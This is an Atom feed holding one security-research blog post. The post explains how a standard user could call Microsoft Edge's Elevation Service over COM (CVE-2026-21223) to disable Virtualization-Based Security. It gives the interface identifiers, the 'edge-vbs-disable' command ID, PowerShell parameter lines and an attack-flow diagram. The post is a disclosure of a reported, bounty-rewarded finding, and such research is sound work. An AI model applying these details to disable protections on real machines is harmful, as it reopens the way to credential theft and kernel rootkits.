<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>blindCyber</title>
  
  
  <link href="https://blindcyber.gitlab.io/atom.xml" rel="self"/>
  
  <link href="https://blindcyber.gitlab.io/"/>
  <updated>2026-07-08T17:01:07.094Z</updated>
  <id>https://blindcyber.gitlab.io/</id>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Agentic 0day Research: Edge VBS Bypass (CVE-2026-21223)</title>
    <link href="https://blindcyber.gitlab.io/2026/02/08/Agentic-0day-Research/"/>
    <id>https://blindcyber.gitlab.io/2026/02/08/Agentic-0day-Research/</id>
    <published>2026-02-08T00:00:00.000Z</published>
    <updated>2026-07-08T17:01:07.094Z</updated>
    
    <content type="html"><![CDATA[<p>A $20,000 MSRC bounty for disabling Virtualization-Based Security without admin. Here’s how a sandbox escape hunt led to something even more impactful.</p><span id="more"></span><h2 id="The-Outcome"><a href="#The-Outcome" class="headerlink" title="The Outcome"></a>The Outcome</h2><p>In December 2025, I discovered CVE-2026-21223—a security feature bypass in Microsoft Edge’s Elevation Service that allows any standard user to disable Virtualization-Based Security (VBS) without administrator privileges. Microsoft awarded a $20,000 bounty for this finding.</p><p>But this wasn’t what I set out to find. I was hunting for browser sandbox escapes. This post explains how understanding the Windows security architecture, systematically mapping attack surfaces, and using AI-augmented tooling led to an unexpected but high-impact discovery.</p><h2 id="The-Original-Goal-Browser-Sandbox-Escape"><a href="#The-Original-Goal-Browser-Sandbox-Escape" class="headerlink" title="The Original Goal: Browser Sandbox Escape"></a>The Original Goal: Browser Sandbox Escape</h2><p>I began this research with a specific objective: find a sandbox escape in a Chromium-based browser. The ideal vulnerability chain looks like this:</p><ol><li><strong>Renderer compromise</strong> - Exploit a memory corruption bug (V8, Blink, etc.) to get code execution in the renderer process</li><li><strong>Sandbox escape</strong> - Break out of the Chromium sandbox to reach the browser process or underlying OS</li><li><strong>Privilege escalation</strong> - Elevate from user to SYSTEM</li></ol><p>I’d been following the evolution of Chromium sandbox escape research closely. The classic techniques include:</p><ul><li><p><strong>Mojo IPC vulnerabilities</strong> - Chromium uses <a href="https://chromium.googlesource.com/chromium/src/+/HEAD/docs/design/sandbox.md">Mojo</a> for inter-process communication. Bugs in Mojo message handling can allow a compromised renderer to send crafted messages to privileged interfaces.</p></li><li><p><strong>MojoJS exploitation</strong> - Researchers at <a href="https://theori.io/blog/cleanly-escaping-the-chrome-sandbox">Theori</a> demonstrated that enabling MojoJS bindings (via memory corruption) allows direct IPC calls from JavaScript, significantly simplifying exploit development.</p></li><li><p><strong>Handle leakage</strong> - CVE-2025-2783, <a href="https://blog.securelayer7.net/cve-2025-2783-chrome-mojo-ipc-sandbox/">discovered by Kaspersky</a> during Operation ForumTroll, exploited improper handle validation in Mojo on Windows to escape the sandbox.</p></li><li><p><strong>Port name leaking</strong> - Mojo IPC uses 128-bit random port names for message routing. As documented in <a href="https://chromium.googlesource.com/chromium/src/+/master/mojo/core/README.md">Chromium’s Mojo security model</a>, leaking these port names allows injecting messages into privileged IPC channels—a technique used in multiple sandbox escapes.</p></li></ul><p>These techniques are powerful but require deep knowledge of Chromium internals and often chain multiple bugs together. I wanted to find something that worked differently—something in the auxiliary attack surface that security teams might overlook.</p><h2 id="Understanding-What-We’re-Protecting-VBS-Architecture"><a href="#Understanding-What-We’re-Protecting-VBS-Architecture" class="headerlink" title="Understanding What We’re Protecting: VBS Architecture"></a>Understanding What We’re Protecting: VBS Architecture</h2><p>Before hunting for ways to disable VBS, I needed to understand what VBS actually protects and why it matters. This knowledge would later prove crucial for articulating the impact of my finding.</p><h3 id="Virtual-Trust-Levels-VTL"><a href="#Virtual-Trust-Levels-VTL" class="headerlink" title="Virtual Trust Levels (VTL)"></a>Virtual Trust Levels (VTL)</h3><p>Windows implements Virtualization-Based Security using a concept called <a href="https://learn.microsoft.com/en-us/windows/win32/procthread/isolated-user-mode--ium--processes">Virtual Trust Levels</a>. The architecture creates two isolated execution environments:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">┌─────────────────────────────────────────────────────────────────────────────┐</span><br><span class="line">│                              HYPERVISOR                                      │</span><br><span class="line">│                        (Hyper-V, root of trust)                              │</span><br><span class="line">└─────────────────────────────────────────────────────────────────────────────┘</span><br><span class="line">         │                                              │</span><br><span class="line">         ▼                                              ▼</span><br><span class="line">┌─────────────────────────────────┐    ┌─────────────────────────────────────┐</span><br><span class="line">│           VTL 0                 │    │              VTL 1                   │</span><br><span class="line">│      &quot;Normal World&quot;             │    │         &quot;Secure World&quot;               │</span><br><span class="line">│                                 │    │                                     │</span><br><span class="line">│  ┌───────────────────────────┐  │    │  ┌─────────────────────────────┐    │</span><br><span class="line">│  │    Ring 0 (Kernel)        │  │    │  │   Ring 0 (Secure Kernel)    │    │</span><br><span class="line">│  │  - NT Kernel              │  │    │  │   - Minimal kernel (SK)     │    │</span><br><span class="line">│  │  - Drivers                │  │    │  │   - Code Integrity (CI)     │    │</span><br><span class="line">│  │  - File system            │  │    │  │   - Encryption module       │    │</span><br><span class="line">│  └───────────────────────────┘  │    │  └─────────────────────────────┘    │</span><br><span class="line">│  ┌───────────────────────────┐  │    │  ┌─────────────────────────────┐    │</span><br><span class="line">│  │    Ring 3 (User)          │  │    │  │   Ring 3 (Isolated User)    │    │</span><br><span class="line">│  │  - Applications           │  │    │  │   - LSAISO.exe (Cred Guard) │    │</span><br><span class="line">│  │  - Services               │  │    │  │   - Trustlets               │    │</span><br><span class="line">│  │  - LSASS.exe              │  │    │  │   - VBS Enclaves            │    │</span><br><span class="line">│  └───────────────────────────┘  │    │  └─────────────────────────────┘    │</span><br><span class="line">└─────────────────────────────────┘    └─────────────────────────────────────┘</span><br></pre></td></tr></table></figure><p>The key insight: <strong>code running in VTL0, even in Ring 0 (kernel), cannot access VTL1 memory</strong>. The hypervisor enforces this isolation using Second Level Address Translation (SLAT). Even if an attacker achieves arbitrary kernel read/write in VTL0, they cannot touch VTL1.</p><h3 id="VBS-Protected-Security-Features"><a href="#VBS-Protected-Security-Features" class="headerlink" title="VBS-Protected Security Features"></a>VBS-Protected Security Features</h3><p>VBS enables several critical security features:</p><table><thead><tr><th>Feature</th><th>What It Protects</th><th>Attack It Prevents</th></tr></thead><tbody><tr><td><strong>Credential Guard</strong></td><td>NTLM hashes, Kerberos TGTs, domain credentials</td><td>Pass-the-hash, Mimikatz, credential theft</td></tr><tr><td><strong>HVCI</strong> (Hypervisor-protected Code Integrity)</td><td>Kernel code pages</td><td>Unsigned kernel code execution, rootkits</td></tr><tr><td><strong>KDP</strong> (Kernel Data Protection)</td><td>Critical kernel data structures</td><td>Kernel data corruption attacks</td></tr><tr><td><strong>Secure Kernel</strong></td><td>VTL1 code integrity verification</td><td>Secure boot bypass, bootkit attacks</td></tr></tbody></table><p><a href="https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/">Credential Guard</a> is particularly significant. It runs LSAISO.exe (LSA Isolated) as a trustlet in VTL1. When LSASS needs to access credentials, it communicates with LSAISO via RPC, but the actual secrets never leave VTL1. This means even with SYSTEM access and arbitrary kernel read/write, Mimikatz-style attacks fail—the credentials simply aren’t accessible from VTL0.</p><p><a href="https://learn.microsoft.com/en-us/windows/security/hardware-security/enable-virtualization-based-protection-of-code-integrity">HVCI</a> ensures that all kernel-mode code has been signed and verified before execution. The Secure Kernel in VTL1 manages the SLAT tables and ensures that kernel pages can only be marked executable after passing code integrity checks. This breaks a fundamental primitive that many kernel exploits rely on: the ability to execute shellcode in kernel mode.</p><p><a href="https://www.microsoft.com/en-us/security/blog/2020/07/08/introducing-kernel-data-protection-a-new-platform-security-technology-for-preventing-data-corruption/">Kernel Data Protection (KDP)</a> goes even further, allowing kernel-mode software to mark certain memory regions as read-only from VTL0’s perspective. Even if an attacker achieves arbitrary kernel write, KDP-protected structures remain immutable.</p><h3 id="Why-Disabling-VBS-Matters"><a href="#Why-Disabling-VBS-Matters" class="headerlink" title="Why Disabling VBS Matters"></a>Why Disabling VBS Matters</h3><p>Understanding this architecture explains why a VBS bypass is so impactful:</p><ol><li><strong>Enables credential theft</strong> - Disable VBS → Credential Guard stops working → Mimikatz works again</li><li><strong>Enables kernel exploitation</strong> - Disable VBS → HVCI stops enforcing code integrity → Unsigned kernel code executes</li><li><strong>Enables rootkits</strong> - Disable VBS → No hypervisor enforcement → Kernel modifications persist</li><li><strong>Bypasses enterprise policy</strong> - Organizations mandate VBS via Group Policy → This bypass negates that protection</li></ol><p>A VBS disable primitive is a force multiplier. It doesn’t give you code execution directly, but it removes the guardrails that prevent other attacks from succeeding.</p><h2 id="Why-Not-Just-Hunt-in-Mojo"><a href="#Why-Not-Just-Hunt-in-Mojo" class="headerlink" title="Why Not Just Hunt in Mojo?"></a>Why Not Just Hunt in Mojo?</h2><p>Given the rich history of Mojo IPC vulnerabilities, why didn’t I focus there?</p><p><strong>Competition and coverage.</strong> The Mojo attack surface is heavily saturated. Google’s security team runs extensive fuzzing, the vulnerability research community has published detailed analyses, and every major sandbox escape in recent years has prompted additional hardening. The bar is high.</p><p><strong>Complexity.</strong> Exploiting Mojo bugs typically requires:</p><ul><li>Deep understanding of Chromium’s multi-process architecture</li><li>Knowledge of specific interface semantics and expected message formats</li><li>Often, chaining multiple gadgets (info leak + logic bug + race condition)</li><li>Platform-specific exploitation techniques</li></ul><p><strong>The renderer prerequisite.</strong> Most Mojo attacks assume you’ve already compromised the renderer. You need a separate renderer bug first, then the sandbox escape. I wanted to find something that could work independently, and be tested and validated using an agent harness. </p><p><strong>Auxiliary attack surfaces.</strong> Modern browsers ship with far more than rendering engines. They include:</p><ul><li>Elevation services for privileged operations</li><li>Update mechanisms with system-level access</li><li>Native messaging hosts</li><li>Helper processes for PDF, media, etc.</li><li>COM/RPC interfaces for Windows integration</li></ul><p>These auxiliary components often run with higher privileges than the browser itself and receive less security scrutiny.</p><h2 id="The-Pivot-From-Mojo-to-COM"><a href="#The-Pivot-From-Mojo-to-COM" class="headerlink" title="The Pivot: From Mojo to COM"></a>The Pivot: From Mojo to COM</h2><p>I decided to systematically map the attack surface of browser auxiliary services on Windows. My hypothesis:</p><blockquote><p>Browsers ship with privileged services that expose RPC or COM interfaces. Some of these interfaces may perform sensitive operations without properly validating the caller’s privileges.</p></blockquote><p>This aligns with historical vulnerability patterns. The <a href="https://github.com/ohpe/juicy-potato">JuicyPotato</a> family of exploits demonstrated that Windows services frequently expose COM interfaces that can be abused for privilege escalation. The core technique involves:</p><ol><li>Finding a COM object that runs as SYSTEM</li><li>Triggering the object to connect back to an attacker-controlled endpoint</li><li>Capturing and impersonating the SYSTEM token</li></ol><p><a href="https://github.com/BeichenDream/GodPotato">GodPotato</a> extended this to work on Windows 2012-2022 by exploiting flaws in how the RPCSS service handles OXID resolution. The key requirement is <code>SeImpersonatePrivilege</code>, commonly available to service accounts.</p><p>But I wasn’t looking for token impersonation. I was looking for COM interfaces that directly perform sensitive operations on the caller’s behalf—without properly checking who’s asking.</p><h2 id="AI-Augmented-Reconnaissance"><a href="#AI-Augmented-Reconnaissance" class="headerlink" title="AI-Augmented Reconnaissance"></a>AI-Augmented Reconnaissance</h2><p>This is where AI augmentation accelerated the research. I won’t reveal specific tooling, but I’ll describe the methodology.</p><p>Traditional COM enumeration is tedious. You need to:</p><ol><li>Enumerate all registered COM classes</li><li>Check which run as services (potential SYSTEM context)</li><li>Analyze security descriptors (who can activate)</li><li>Enumerate interfaces and methods</li><li>Understand method semantics from parameter types</li><li>Test for vulnerable behaviors</li></ol><p>Manually, this takes weeks. With an agent harness, I could:</p><ul><li><strong>Bulk enumerate</strong> COM classes and filter by privilege context</li><li><strong>Pattern match</strong> on interface names and method signatures that suggest sensitive operations</li><li><strong>Prioritize</strong> based on security descriptor analysis (who can call what)</li><li><strong>Correlate</strong> with service configurations and binary analysis</li></ul><p>The key insight: <strong>interface names are descriptive, but method names aren’t</strong>. A COM interface named <code>IElevatorEdge</code> tells you it’s related to Edge elevation. But the methods might be called <code>Proc0</code>, <code>Proc1</code>, etc., with no semantic meaning. Understanding what a method does requires analyzing the binary or observing behavior through testing.</p><h3 id="Filtering-Strategy"><a href="#Filtering-Strategy" class="headerlink" title="Filtering Strategy"></a>Filtering Strategy</h3><p>I filtered COM classes using these criteria:</p><table><thead><tr><th>Filter</th><th>Rationale</th></tr></thead><tbody><tr><td>Runs as LocalSystem</td><td>Maximum privilege, maximum impact</td></tr><tr><td>Service-hosted</td><td>Persistent, always available</td></tr><tr><td>Accessible by “Users” or “Everyone”</td><td>No admin required to activate</td></tr><tr><td>Browser-related</td><td>Matches our target scope</td></tr><tr><td>Interesting interface names</td><td>Suggests privileged operations</td></tr></tbody></table><p>This reduced thousands of COM classes to a manageable list of ~50 high-priority targets.</p><h2 id="The-Edge-Elevation-Service"><a href="#The-Edge-Elevation-Service" class="headerlink" title="The Edge Elevation Service"></a>The Edge Elevation Service</h2><p>Among the filtered targets, one stood out: Microsoft Edge’s Elevation Service.</p><h3 id="Initial-Reconnaissance"><a href="#Initial-Reconnaissance" class="headerlink" title="Initial Reconnaissance"></a>Initial Reconnaissance</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Service Name:     MicrosoftEdgeElevationService</span><br><span class="line">Binary:           C:\Program Files (x86)\Microsoft\Edge\Application\&lt;version&gt;\elevation_service.exe</span><br><span class="line">Runs As:          LocalSystem</span><br><span class="line">Startup Type:     Manual (triggered on demand)</span><br></pre></td></tr></table></figure><p>The service exposes a COM interface:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">CLSID:     1fcbe96c-1697-43af-9140-2897c7c69767</span><br><span class="line">Interface: IElevatorEdge</span><br><span class="line">IID:       c9c2b807-7731-4f34-81b7-44ff7779522b</span><br></pre></td></tr></table></figure><p>The interface name immediately suggested privileged operations. Edge needs to perform elevated tasks (installing updates, modifying system settings) that a standard user browser process shouldn’t be able to do directly.</p><h3 id="Method-Enumeration"><a href="#Method-Enumeration" class="headerlink" title="Method Enumeration"></a>Method Enumeration</h3><p>Interface enumeration revealed these methods:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">IElevatorEdge Interface Methods:</span><br><span class="line">├── DecryptData(string ciphertext) -&gt; DecryptData_RetVal</span><br><span class="line">├── EncryptData(ProtectionLevel, string plaintext) -&gt; EncryptData_RetVal</span><br><span class="line">├── LaunchUpdateCmdElevated(string appid, string cmd_id, uint32 caller_pid) -&gt; uint64</span><br><span class="line">├── LaunchUpdateCmdElevatedAndWait(string appid, string cmd_id, uint32 timeout) -&gt; uint32</span><br><span class="line">├── RunRecoveryCRXElevated(string crx_path, string appid, string version, ...) -&gt; uint64</span><br><span class="line">└── ReservedFunction1() -&gt; void</span><br></pre></td></tr></table></figure><p>Two methods immediately caught my attention:</p><ul><li><code>LaunchUpdateCmdElevated</code> - Takes a <code>cmd_id</code> string and <code>caller_pid</code></li><li><code>LaunchUpdateCmdElevatedAndWait</code> - Similar, but waits for completion</li></ul><p>The naming convention suggests these methods execute commands—elevated commands—based on a <code>cmd_id</code> parameter. If I could control what commands get executed, and the service doesn’t validate my privileges, that’s a vulnerability.</p><h3 id="Caller-Validation-Analysis"><a href="#Caller-Validation-Analysis" class="headerlink" title="Caller Validation Analysis"></a>Caller Validation Analysis</h3><p>Before testing, I wanted to understand how the service validates callers. I extracted strings from <code>elevation_service.exe</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Address          String</span><br><span class="line">──────────────────────────────────────────────────────────────</span><br><span class="line">0x1401f5cb9      &quot;..\..\chrome\elevation_service\caller_validation.cc&quot;</span><br><span class="line">0x1401f5ced      &quot;Failed to get process image path&quot;</span><br><span class="line">0x1401f5d1b      &quot;Failed to authenticate caller process:&quot;</span><br><span class="line">0x1401f5d60      &quot;Program Files (x86)&quot;</span><br><span class="line">0x1401f5d88      &quot;Program Files&quot;</span><br><span class="line">0x1401f8f80      &quot;msedge.exe&quot;</span><br><span class="line">0x1401f5f20      &quot;msedgerecovery.exe&quot;</span><br></pre></td></tr></table></figure><p>The presence of <code>caller_validation.cc</code> indicated there IS validation logic. The allowed executable names and path strings suggested the service checks whether the caller is a legitimate Edge process from Program Files.</p><p>Further binary analysis revealed the validation mechanism:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"># Import analysis</span><br><span class="line">RPCRT4.dll   - I_RpcOpenClientProcess    @ 0x14015428e</span><br><span class="line">KERNEL32.dll - QueryFullProcessImageNameW @ 0x1400273c0</span><br></pre></td></tr></table></figure><p>The service uses <code>I_RpcOpenClientProcess</code> to get a handle to the calling process, then <code>QueryFullProcessImageNameW</code> to get the caller’s executable path. It compares against the allowed list.</p><p><strong>But here’s the critical question: Is this validation applied to ALL methods, or just some? And when exactly does validation occur?</strong></p><h2 id="Registry-Archaeology"><a href="#Registry-Archaeology" class="headerlink" title="Registry Archaeology"></a>Registry Archaeology</h2><p>Before testing whether caller validation could be bypassed, I needed to understand what <code>cmd_id</code> values were valid. Random strings would likely fail silently.</p><p>The binary strings revealed a registry path pattern:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">0x1401f8f68  &quot;CommandLine&quot;</span><br><span class="line">0x140286d1e  &quot;cmd_id&quot;</span><br></pre></td></tr></table></figure><p>I searched the registry for keys matching the expected pattern:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\&#123;browser_appid&#125;\Commands\&#123;cmd_id&#125;</span><br></pre></td></tr></table></figure><p>This revealed the Edge browser’s application ID and all registered commands:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">browser_appid: &#123;56EB18F8-B008-4CBD-B6D2-8C97FE7E9062&#125;</span><br><span class="line"></span><br><span class="line">Commands:</span><br><span class="line">┌────────────────────────────┬──────────────────────────────────────────────────┐</span><br><span class="line">│ cmd_id                     │ CommandLine                                      │</span><br><span class="line">├────────────────────────────┼──────────────────────────────────────────────────┤</span><br><span class="line">│ edge-vbs-disable           │ setup.exe --edge-vbs-disable --system-level ...  │</span><br><span class="line">│ edge-vbs-enable            │ setup.exe --edge-vbs-enable --system-level ...   │</span><br><span class="line">│ on-logon-autolaunch        │ msedge.exe --launcher=on_logon_windows           │</span><br><span class="line">│ on-logon-startup-boost     │ msedge.exe --no-startup-window                   │</span><br><span class="line">│ on-os-upgrade              │ setup.exe --on-os-upgrade --msedge ...           │</span><br><span class="line">└────────────────────────────┴──────────────────────────────────────────────────┘</span><br></pre></td></tr></table></figure><p><strong><code>edge-vbs-disable</code> and <code>edge-vbs-enable</code>.</strong></p><p>The registry showed that Edge’s elevation service is designed to toggle VBS—a protected security feature—via setup.exe invocation. The CommandLine for <code>edge-vbs-disable</code> is:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&quot;C:\Program Files (x86)\Microsoft\Edge\Application\&lt;version&gt;\Installer\setup.exe&quot;</span><br><span class="line">    --edge-vbs-disable --system-level --verbose-logging --msedge --channel=stable</span><br></pre></td></tr></table></figure><p>This makes sense from Edge’s perspective. VBS can cause compatibility issues with certain hardware configurations, and Edge provides a mechanism for users to toggle it. But the elevation service runs as SYSTEM—it has permission to modify the VBS registry keys.</p><p>The question: <strong>Does the service verify that the CALLER has permission to modify VBS?</strong></p><h2 id="The-Vulnerability"><a href="#The-Vulnerability" class="headerlink" title="The Vulnerability"></a>The Vulnerability</h2><p>I tested by calling <code>LaunchUpdateCmdElevatedAndWait</code> from a PowerShell script running as a standard user:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Call parameters</span></span><br><span class="line"><span class="variable">$clsid</span> = <span class="string">&quot;1fcbe96c-1697-43af-9140-2897c7c69767&quot;</span></span><br><span class="line"><span class="variable">$iid</span> = <span class="string">&quot;c9c2b807-7731-4f34-81b7-44ff7779522b&quot;</span></span><br><span class="line"><span class="variable">$browser_appid</span> = <span class="string">&quot;&#123;56EB18F8-B008-4CBD-B6D2-8C97FE7E9062&#125;&quot;</span></span><br><span class="line"><span class="variable">$cmd_id</span> = <span class="string">&quot;edge-vbs-disable&quot;</span></span><br><span class="line"><span class="variable">$timeout</span> = <span class="number">30000</span></span><br></pre></td></tr></table></figure><p>Before the call, I verified that direct registry modification failed:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">PS</span>&gt; <span class="built_in">Set-ItemProperty</span> <span class="literal">-Path</span> <span class="string">&quot;HKLM:\System\CurrentControlSet\Control\DeviceGuard&quot;</span> `</span><br><span class="line">    <span class="literal">-Name</span> <span class="string">&quot;EnableVirtualizationBasedSecurity&quot;</span> <span class="literal">-Value</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">Set-ItemProperty</span> : Access to the registry key is denied.</span><br></pre></td></tr></table></figure><p>Then I invoked the COM method (using tooling to handle the COM activation and method call). Process Monitor captured the following:</p><ol><li>My PowerShell process activated the COM object</li><li>The elevation service received the call</li><li>Registry lookup for <code>edge-vbs-disable</code> succeeded</li><li><code>setup.exe</code> spawned as SYSTEM with VBS-disabling flags</li><li>Registry key <code>HKLM\System\CurrentControlSet\Control\DeviceGuard\EnableVirtualizationBasedSecurity</code> was set to 0</li></ol><p><strong>VBS was disabled. As a standard user.</strong></p><p>The caller validation exists but was applied inconsistently—or bypassed—for the <code>LaunchUpdateCmdElevatedAndWait</code> method. The service performed the privileged operation without verifying that my process had any special privileges.</p><h2 id="Attack-Flow"><a href="#Attack-Flow" class="headerlink" title="Attack Flow"></a>Attack Flow</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">┌─────────────────┐     ┌──────────────────────────┐     ┌─────────────────┐</span><br><span class="line">│  Standard User  │────▶│  COM Object Activation   │────▶│ MicrosoftEdge   │</span><br><span class="line">│   (Attacker)    │     │  CLSID: 1fcbe96c-...     │     │ ElevationService│</span><br><span class="line">└─────────────────┘     └──────────────────────────┘     │   (SYSTEM)      │</span><br><span class="line">                                                          └────────┬────────┘</span><br><span class="line">                                                                   │</span><br><span class="line">                        ┌──────────────────────────────────────────┘</span><br><span class="line">                        │</span><br><span class="line">                        ▼</span><br><span class="line">┌─────────────────────────────────────────────────────────────────────────┐</span><br><span class="line">│  LaunchUpdateCmdElevatedAndWait(                                        │</span><br><span class="line">│      browser_appid = &quot;&#123;56EB18F8-B008-4CBD-B6D2-8C97FE7E9062&#125;&quot;,          │</span><br><span class="line">│      cmd_id = &quot;edge-vbs-disable&quot;,                                       │</span><br><span class="line">│      timeout = 30000                                                    │</span><br><span class="line">│  )                                                                      │</span><br><span class="line">└─────────────────────────────────────────────────────────────────────────┘</span><br><span class="line">                        │</span><br><span class="line">                        ▼</span><br><span class="line">┌─────────────────────────────────────────────────────────────────────────┐</span><br><span class="line">│  Registry Lookup (HKLM):                                                │</span><br><span class="line">│  SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\&#123;appid&#125;\Commands\    │</span><br><span class="line">│  └── edge-vbs-disable                                                   │</span><br><span class="line">│      └── CommandLine: setup.exe --edge-vbs-disable --system-level       │</span><br><span class="line">└─────────────────────────────────────────────────────────────────────────┘</span><br><span class="line">                        │</span><br><span class="line">                        ▼</span><br><span class="line">┌─────────────────────────────────────────────────────────────────────────┐</span><br><span class="line">│  SYSTEM executes: setup.exe --edge-vbs-disable --system-level           │</span><br><span class="line">│                                                                         │</span><br><span class="line">│  Modifies: HKLM\System\CurrentControlSet\Control\DeviceGuard            │</span><br><span class="line">│            EnableVirtualizationBasedSecurity = 0                        │</span><br><span class="line">└─────────────────────────────────────────────────────────────────────────┘</span><br><span class="line">                        │</span><br><span class="line">                        ▼</span><br><span class="line">            ┌───────────────────────┐</span><br><span class="line">            │   VBS DISABLED        │</span><br><span class="line">            │   Security Bypassed   │</span><br><span class="line">            └───────────────────────┘</span><br></pre></td></tr></table></figure><h2 id="Privilege-Boundary-Architecture"><a href="#Privilege-Boundary-Architecture" class="headerlink" title="Privilege Boundary Architecture"></a>Privilege Boundary Architecture</h2><p>For context on why this is a security boundary violation:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">┌─────────────────────────────────────────────────────────────────────┐</span><br><span class="line">│                        USER MODE (Medium IL)                        │</span><br><span class="line">│  ┌──────────────────────────────────────────────────────────────┐   │</span><br><span class="line">│  │  PowerShell / Attacker Script                                │   │</span><br><span class="line">│  │  - Runs as standard user                                     │   │</span><br><span class="line">│  │  - Cannot modify HKLM\...\DeviceGuard directly               │   │</span><br><span class="line">│  │  - Cannot disable VBS through normal means                   │   │</span><br><span class="line">│  └──────────────────────────────────────────────────────────────┘   │</span><br><span class="line">└─────────────────────────────────────────────────────────────────────┘</span><br><span class="line">                              │ COM/RPC (no privilege check)</span><br><span class="line">                              ▼</span><br><span class="line">┌─────────────────────────────────────────────────────────────────────┐</span><br><span class="line">│                     SYSTEM MODE (High IL)                           │</span><br><span class="line">│  ┌──────────────────────────────────────────────────────────────┐   │</span><br><span class="line">│  │  MicrosoftEdgeElevationService (elevation_service.exe)       │   │</span><br><span class="line">│  │  - Runs as LocalSystem                                       │   │</span><br><span class="line">│  │  - CAN modify HKLM\...\DeviceGuard                           │   │</span><br><span class="line">│  │  - CAN disable VBS                                           │   │</span><br><span class="line">│  │                                                               │   │</span><br><span class="line">│  │  ⚠️  FAILS TO CHECK: Does the caller have admin rights?      │   │</span><br><span class="line">│  │                                                               │   │</span><br><span class="line">│  │  IElevatorEdge Interface                                      │   │</span><br><span class="line">│  │  ├── LaunchUpdateCmdElevated()                                │   │</span><br><span class="line">│  │  ├── LaunchUpdateCmdElevatedAndWait()  ◄── VULNERABLE         │   │</span><br><span class="line">│  │  ├── RunRecoveryCRXElevated()                                 │   │</span><br><span class="line">│  │  ├── EncryptData()                                            │   │</span><br><span class="line">│  │  └── DecryptData()                                            │   │</span><br><span class="line">│  └──────────────────────────────────────────────────────────────┘   │</span><br><span class="line">└─────────────────────────────────────────────────────────────────────┘</span><br></pre></td></tr></table></figure><h2 id="Impact-Analysis"><a href="#Impact-Analysis" class="headerlink" title="Impact 